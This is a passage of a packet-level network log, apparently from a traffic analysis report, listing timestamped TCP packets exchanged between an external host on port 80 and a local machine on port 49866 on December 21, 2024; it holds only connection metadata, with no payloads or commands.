Dec 21, 2024 18:16:49.049964905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.050018072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.050075054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.050122023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.051100016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.051177025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.051194906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.051240921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.052228928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.052277088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.052354097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.052428961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.053337097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.053391933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.053404093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.053455114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.054451942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.054514885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.054554939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.054775000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.055691957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.055746078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.055788994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.055835009 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.056688070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.056740046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.056772947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.056797981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.057786942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.057841063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.057903051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.058024883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.059058905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.059114933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.059276104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.059329987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.060282946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.060408115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.060458899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.061105013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.061218023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.061229944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.061276913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.062218904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.062280893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.062310934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.062647104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.063368082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.063489914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.063519001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.063532114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.064472914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.064544916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.064613104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.064661980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.065423965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.065474987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.065551043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.065599918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.066324949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.066438913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.066498041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.066550016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.067281008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.067329884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.067384958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.067444086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.068236113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.068286896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.068361044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.068619013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.069160938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.069212914 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.069276094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.069595098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.070108891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.070158958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.070221901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.071050882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.071101904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.071163893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.071990967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.072041988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.072128057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.073002100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.073052883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.073100090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.073147058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.073879004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.074007988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.074053049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.074826956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.074939013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.074985981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.075753927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.075803995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.075882912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.076761961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.076812029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.076947927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.077311993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.077663898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.077785969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.077837944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.078597069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.078716993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.078773022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.079622030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.079678059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.079751015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.080545902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.080595016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.080646992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.081361055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.081429005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.081655025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.081707954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.082372904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.082463026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.082520962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.083338976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.083393097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.083462954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.084296942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.084351063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.084422112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.085201025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.085258961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.085328102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.085381985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.086160898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.086292982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.086349964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.087281942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.087352991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.087413073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.088303089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.088362932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.088493109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.089020014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.089080095 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.089143038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.089917898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.089962006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.090063095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.090118885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.090900898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.090960026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.091029882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.091089010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.091830015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.091900110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.230551958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.230613947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.230674028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.230710983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.230811119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.230812073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.230812073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.230812073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.231483936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.231612921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.231676102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.231676102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.232599020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.232652903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.232676029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.232758999 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.233068943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.233125925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.233195066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.233247995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.234030962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.234091043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.234164953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.234220982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.234936953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.234997034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.235133886 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.235187054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.235862017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.235924006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.235977888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.236033916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.236793041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.236851931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.236922979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.236979008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.237791061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.237852097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.237922907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.237978935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.238701105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.238753080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.238816977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.238873005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.239660978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.239718914 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.239763975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.239824057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.240757942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.240885019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.240951061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.241775036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.241832018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.241842985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.241942883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.242712021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.242775917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.242825031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.242881060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.243498087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.243576050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.243607044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.243658066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.244463921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.244520903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.244524956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.244577885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.245485067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.245605946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.245625019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.245706081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.246397018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.246450901 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.246510983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.246577978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.247345924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.247415066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.247503996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.247591972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.248145103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.248270035 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.248305082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.248337030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.249064922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.249124050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.249192953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.249257088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.249994040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.250050068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.250114918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.250205994 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.250926018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.250989914 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.251051903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.251194000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.251883030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.251965046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.252012968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.252072096 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.252865076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.252963066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.252978086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.253021955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.253845930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.253907919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.253930092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.253983974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.254734993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.254791021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.254837990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.254894972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.255666971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.255728960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.255788088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.255889893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.256649017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.256707907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.256778002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.256838083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.257595062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.257716894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.257778883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.258476019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.258615017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.258637905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.258677959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.259485006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.259576082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.259644985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.259711027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.260395050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.260456085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.260601044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.260651112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.261337042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.261393070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.261456966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.261514902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.262259960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.262371063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.262392044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.262425900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.263164043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.263223886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.263294935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.263350964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.264144897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.264198065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.264249086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.264306068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.265093088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.265166998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.265237093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.265304089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.266033888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.266083002 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.266459942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.266509056 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.267035007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.267090082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.267163038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.267211914 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.267925024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.268080950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.268100977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.268141985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.268862009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.268912077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.268975019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.269031048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.269851923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.269949913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.270024061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.270178080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.270751953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.270806074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.270823956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.270873070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.271692991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.271756887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.271811962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.271863937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.272622108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.272675991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.272735119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.272871971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.273610115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.273663044 CET	80	49866	31.41.244.11	192.168.2.4
